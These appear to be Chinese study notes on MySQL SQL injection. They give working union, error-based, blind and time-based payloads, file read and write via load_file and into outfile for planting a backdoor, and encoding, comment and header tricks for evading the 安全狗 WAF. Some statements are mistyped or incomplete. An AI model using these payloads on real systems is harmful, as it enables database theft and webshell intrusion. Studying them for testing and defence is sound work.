目录
sql注入漏洞
信息搜集:
方法
1.判断是否存在注入点
2.数字or字符or搜索
3.提交方式
4.判断注入姿势
5.玩法^_^
补充知识:
绕过过滤
其他数据库
搜集数据库的操作系统(windows or linux涉及的内容不同),数据库名(不同语言),数据库用户(权限),数据库版本(不同语言,姿势),网站路径(网站源码放在何路径)。
数据库版本:version() 获取版本以及数据库系统
数据库名字:database() 当前所在数据库的名字
数据库用户:user() 当前用户
操作系统:@@version_compile_os 操作系统
信息搜集下的问题处理:
版本问题
数据库语言基本差不多,语法上有区别。
1.查询方式:mysql5.0版本以上定义了一个information_schema而5.0以下版本没有,则说明5.0版本以下查询猜、暴力查询(无据),而5.0以上通过有据查询。
2.写文件权限:在 MySQL 5.5 之前 secure_file_priv 默认是空; 在 MySQL 5.5之后 secure_file_priv 默认是 NULL。
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
空白地方的值
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录
3.不同的数据库,使用的操作语言不同,注入的姿势也不同。
数据库用户权限
低权限查询密码,找后台登录,高权限写后门。
1.跨库查询:具有最高权限的用户才有权限跨库查询,即好几个网站的数据库写在一起,可以通过一个的权限,去查其他的。
2.文件写入:高权限用户具有写入权限。(一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。)
网站路径
路径获取方法:网页出现错误泄露路径,通过扫描工具获取路径(如看看有没有扫描出phpinfo),知道对方是什么程序搭建而去搜索该程序的爆路径漏洞
1.通过sql语句,将文件写入相关路径。(还涉及到路径是否允许写入文件的权限。)
系统问题
1.在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。
数据库名
1.知悉数据库结构,层次。
数据库的结构
information_schema.tables #information_schema下面的所有表名information_schema.columns #information_schema下面所有的列名
information_schema.schemata #information_schema下面所有的数据库名
schema_name #查数据库中的数据库名所用到
table_name #表名
column_name #列名
table_schema #数据库名//选择数据库时所用到
即是否被带入查询,查不到页面不会报错,但是如果不是数据库查询,则会因为找不到网页而404报错。
SELECT * FROM users WHERE id=1aaaaaaaa(随便输入) LIMIT 0,1
数字可包含引号括号,字符一定包含引号(单引号和双引号其一被另外一包含不会报错,而正确注入不能有杂乱符号,细品),括号不确定。
单引号注释--错误--双引号,单引号双引号,单引号双引号括号,单引号括号,双引号括号,双引号多括号,多引号多括号。
单引号注释--正确--单引号搜索型:select * from user where id like '%haha%'; haha为写入的参数,注意注释括号及后面引号
GET,POST,REQUEST,HTTP头,COOKIE
http头中请求的位置无法确定,关键是要判断注入点,即什么位置的信息被查询然后回回显在网站上,并且当其被修改后网页不会报错。
回显or无回显
有回显(闭合--order--union)即select语句
无回显: 根据页面的环境判断查询方式
注册,添加用户:insert into news(id,url,text) values(2,'x','$t') //在两个引号之间用or连接,并且闭合引号 例如 insert into news(id,url,text) values(2,'x','xiaoyu' or 语句 or '')
删除用户 :delete from news where id=$id
修改密码 :update user set pwd='$p' where id=2 and username='admin' //$p在前面所以要注意不要注释
为了能使爆出信息,用盲注
报错注入:(为单独语句)
updataxml、extractvalue函数 updataxml( 1, b, 1);b通常为concat(0x7e,(select version()),0x7e) //即用到了updataxml函数与cancat函数
逻辑注入:
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+ 看页面是否回显正确延时注入:
if(语句,1,sleep(2))
补充:逻辑注入、延时注入函数
length(database())=8 #判断数据库database()名的长度
substr($x,1,1)和mid(a,b,c) #第一个1为起始位置,第二个1为长度
left函数 left(database(),1) #left(a,b)从左侧截取a的前b位
ascii(a)=65和ord(a)=65 #为了用ASCILL值缩小范围
文件读写
文件读写
读:load_file()
select load_file('C:\\haha\\tianyu.php');
写:into outfile或者into dumpfile()
select into outfile 'D:\\haha\tianyu.php';
1.绕过代码层(即为代码审计层面)
- 大小写绕过
- 双写
- 使用编码
①url编码 在get方式上可以通过二次编码绕过 ②16进制编码 对单个 id=-1 /!u%6eion/ /!se%6cect/ 1,2,3 对整个 SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273 对字符串编码在前面需要加0x
- 注释绕过 (普通注释U/**/NION 和 mysql特有的/!union/)
- 等价函数 或者不同方法切换(例如ascii码变为直接查字母)
concat_ws()==>group_concat() SELECT CONCAT_WS('~',username,password) FROM admin;
针对绕过,空格可以用括号或者/**/绕过,引号用16进制编码
魔术引号:宽字节绕过*、多重url编码*
2.绕过安全狗
- %0a与注释符联用以及内联注释 //部分waf遇到%00截断,只能获取到前面的参数
%23a%0aunion%23a%0aselect 1,2,3 from users %20/*!44509union*/%23x%0aselect 1,2.. 1/**&id=-1%20union%20select%201,2,3%23*/ %20union%20all%23a%0aselect%201,2,3d
- 修改代理白名单 X-forwarded-for
- 静态资源欺骗
http://127.0.0.1/sql.php/1.js?id=1 备注:Aspx/php只识别到前面的.aspx/.php,后面基本不识别。
- 爬虫等 User-Agent欺骗
access,mssql,oracle